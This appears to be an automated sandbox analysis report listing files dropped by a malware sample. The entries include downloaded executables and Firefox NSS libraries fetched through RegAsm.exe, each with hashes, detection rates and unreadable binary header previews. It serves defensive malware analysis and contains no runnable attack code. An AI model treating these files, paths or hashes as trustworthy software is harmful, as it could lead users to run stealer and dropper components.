Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....P?...................P..........LP.. ...`P...@.. .......................@R...........@..................................KP.K.....P...................... R......KP.............................................. ............... ..H............text...4,P.. ....P................. ..`.sdata.. ....`P......2P.............@....rsrc.........P......:P.............@..@.reloc....... R.......Q.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.984051528678991
Encrypted:	false
SSDEEP:	6144:zKKOAlrAtx7WiWOdkUsn18kq1viAXMFTd7r9pq8CG6UKBqdx7EO:zKLYUtcrOs1yeFRPzbCGQYx7EO
MD5:	087F21847D13D50158683C834471728C
SHA1:	6E0CAF480014EB6239CBE757F9A75E4B5594AE69
SHA-256:	353871B38BB73FFB940B773C92849796C4C71949D5FFC9EA55103A8F41DABB74
SHA-512:	10B6BD132E219FCE9F5AE27B648305E412BBD64FBFABB1C67E99B30CE088914DB0B2D1750861362F28EE6E0FE2301B35878F22D06DE7FC3CF177A4216FBF3DB6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@............`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................S..a.....c?.6..U.CMf'.<.s.oo..<C.q.wN.e..i...e4+...........R..1br...IUU<.N...\|c.VGH...$.&~.+....<38....tR]B.z.4-oC.{......{9...x0w.I7._.;!'q..U...?.`../.+,P.M......8..}.3j.$.Y=2...).W.].tZ.>..g2.i-.....I..[.w.....u..........h..a.3.Q....y.......=c2..n......Q.J>...=.f..w..E-`..../.....'.........g.........$.1sW...........l.....S..>.a.....g.h..zK......._oB3%.c.Z.)V.gg.._..0...;<f..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c1c5838f95f_file1808[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	795648
Entropy (8bit):	7.478589132226232
Encrypted:	false
SSDEEP:	24576:aG18MH/r+RAIFqLN7/uW/Nau09jMxrc5N:3aMD+RANBKIJ09j
MD5:	006EDF0AC466164DDC9E0AC56474FE0A
SHA1:	EE9F512713AF63759F11279090D2C8004762735B
SHA-256:	D343EA857CDF97AA0CCFD14970425C6888BD216D36AD7F6255A044BED36A4B2A
SHA-512:	43305369FEA2DAD52D51BC9D5947A2F7E78D33BAADD07093C250B9EB1FD3762C511033BBFAE2B8D6EB52254306D137E29CD15E0B30B0F6D44A9D4F3D12B8B808
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................................F...............................Rich...................PE..L......e.................@..........~........P....@..........................0.......e.......................................f..<...................................................................c..@............P..h............................text....?.......@.................. ..`.rdata..L....P... ...D..............@..@.data........p.......d..............@....rsrc..............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\setup[1].exe

Download File

Process:	C:\Users\user\Desktop\gHPYUEh253.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7652687
Entropy (8bit):	7.996926797499084
Encrypted:	true
SSDEEP:	196608:91OEG2tNPptkHIqn9Akti+Ffk0AwVRvbCeUKjBbY86L:3OgP3kHZ9AcFFDLRuMxQ
MD5:	298D76769C9380C435FD4E43AC256E55
SHA1:	DE6CF97EE3965547A6DA51251566C1D0C779458C
SHA-256:	30DC51BC0EB17C3CC5245FC96D08E282CACB4DCC3F710DA24ECF94C3CC354F5B
SHA-512:	495A657C130ADEAF5E8735135E372A2994CB85A09BFF737849EAFB19659EE664A4F7A8D5A0AADEE0160A43D71D0E4AC5ED13B0E90DD44419F1AAB86C4737EBCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[2].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulP:NllU
MD5:	F1AF43D3002083A7C5A3A41A5BBC4D82
SHA1:	7B1B3544A8FD18508CD9023905A5C8A2478FA8B1
SHA-256:	BA41CB7577227C1B23545F9634E9D55349985CEE346296246DB14E3E040A7B5C
SHA-512:	D7E5636CE9C3303C0822388D4CE731E10940BC4C32B000610ABE706DFF780DB355C154E606D889436A14C00977F95161504CC54C47786A02A767F1849B130929
Malicious:	false
Preview:	@...e...................................L.......................

C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6950912
Entropy (8bit):	7.765308884021975
Encrypted:	false
SSDEEP:	196608:I3D5YRd3VKY1TMjDp+UPIubnOpFZwT47:kYX3VK+TMj8UjnU9
MD5:	7D00023CEEF9EF54D0F55A3F84BA4A15
SHA1:	3AD394FB61DEC8B1ABA5A049DFDF54CCD4358767
SHA-256:	6C39082E3053E6EDFB91745AE1C8F326A0CE14E4E4B3778EA9D978968E7B5729
SHA-512:	91D28A5C20A811F05AFFBB8104F214A31ABF6891CC921A752678048A99CE2121549957C14FEDFB5319B792AC5E55594E93D4845EC7AD87CF7F25DB8275AC9818
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b`.............Q......Q......Q.....L..............$.....$......Rich....................PE..L......a.................6....`.....r........P....@...........................j.......j...@.................................l.j..............................@j..6....................................i.@.............j.l............................text....4.......6.................. ..`.data....._..P...t_..:..............@....idata..$.....j.......i.............@..@.kVzE........0j.......i.............@....reloc...6...@j..8....i.............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6672207
Entropy (8bit):	7.9961031882316
Encrypted:	true
SSDEEP:	196608:91OqQDSetB7938BnHXFWrAEsWmecSaBi+mqK:3OqQDSer7F6nHVWrAEmecXw
MD5:	50EFAD4341D7F65C2E7AB8205A49FDB2
SHA1:	B936F08EC007D8A139E008E9861773746D6AB2A6
SHA-256:	459CA8E9CB692553970B2C1E861B3CC53C14D3F5F9856C0B5CA66B617321E854
SHA-512:	D9220A4516E0C242E2AA95B282395C5F7A754A31A6AB7036DEA6B13DAE964E2B236E40BB27788104472777293E2C4E9736C6C380D8CE3DEC304B66410E1A441B
Malicious:	true
